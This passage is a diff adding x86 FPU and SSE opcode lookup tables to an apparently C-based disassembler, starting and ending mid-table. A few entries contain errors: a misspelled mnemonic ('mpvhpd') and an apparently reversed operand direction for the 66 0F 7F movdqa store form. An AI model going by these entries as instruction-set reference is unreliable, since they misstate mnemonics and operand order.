+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fucomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // F0-F7
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM_PRO, ITYPE_FCOMP, "fcomip", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x7
+ // F8-FF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR } // xF
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// SSE opcodes
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+X86_OPCODE X86_SSE[0x300] =
+{
+ // prefix 0x66 (operand size)
+ /* 0x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 1x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movupd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movupd", { AMODE_W | OPTYPE_pd | OP_DST, AMODE_V | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movlpd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_M | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movlpd", { AMODE_M | OPTYPE_q | OP_DST, AMODE_V | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "unpcklpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "unpckhpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movhpd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_M | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "mpvhpd", { AMODE_M | OPTYPE_q | OP_DST, AMODE_V | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 2x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movapd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movapd", { AMODE_W | OPTYPE_o | OP_DST, AMODE_V | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtpi2pd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_Q | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movntpd", { AMODE_M | OPTYPE_o | OP_DST, AMODE_V | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvttpd2pi", { AMODE_P | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtpd2pi", { AMODE_P | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "ucomisd", { AMODE_V | OPTYPE_sd | OP_SRC, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_CF_MOD | FLAG_PF_MOD | FLAG_OF_CLR | FLAG_SF_CLR | FLAG_AF_CLR, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "comisd", { AMODE_V | OPTYPE_pd | OP_SRC, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_CF_MOD | FLAG_PF_MOD | FLAG_OF_CLR | FLAG_SF_CLR | FLAG_AF_CLR, NOACTION, IGNORED }, // xF
+
+ /* 3x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 4x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 5x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "movmskpd", { AMODE_G | OPTYPE_d | OP_DST, AMODE_VR | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "sqrtpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_AND, "andpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_AND, "andnpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_OR, "orpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_XOR, "xorpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "addpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "mulpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtpd2ps", { AMODE_V | OPTYPE_ps | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtps2dq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "subpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "minpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_DIV, "divpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "maxpd", { AMODE_V | OPTYPE_pd | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 6x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpcklbw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpcklwd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpckldq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "packsswb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pcmpgtb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pcmpgtw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pcmpgtd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "packuswb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpckhbw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpckhwd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpckhdq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "packssdw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpcklqdq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "punpckhqdq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_E | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdqa", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 7x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pshufd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { X86_SSE2_Group_13, GROUP }, // x1
+ { X86_SSE2_Group_14, GROUP }, // x2
+ { X86_SSE2_Group_15, GROUP }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "pcmpeqb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "pcmpeqw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "pcmpeqd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_ADD, "haddpd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_SUB, "hsubpd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movd", { AMODE_E | OPTYPE_dq | OP_DST, AMODE_V | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdqa", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 8x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 9x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Ax */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Bx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Cx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "cmppd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, // x2
+ { NOINSTR }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pinsrw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pextrw", { AMODE_G | OPTYPE_d | OP_DST, AMODE_VR| OPTYPE_o | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "shufpd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Dx */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3, "addsubpd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrlw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrld", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrlq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "pmullw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movq", { AMODE_W | OPTYPE_q | OP_DST, AMODE_V | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pmovmskb", { AMODE_G | OPTYPE_d | OP_DST, AMODE_VR| OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubusb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubusw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pminub", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_AND, "pand", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddusb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddusw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pmaxub", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_AND, "pandn", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* Ex */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pavgb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psraw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
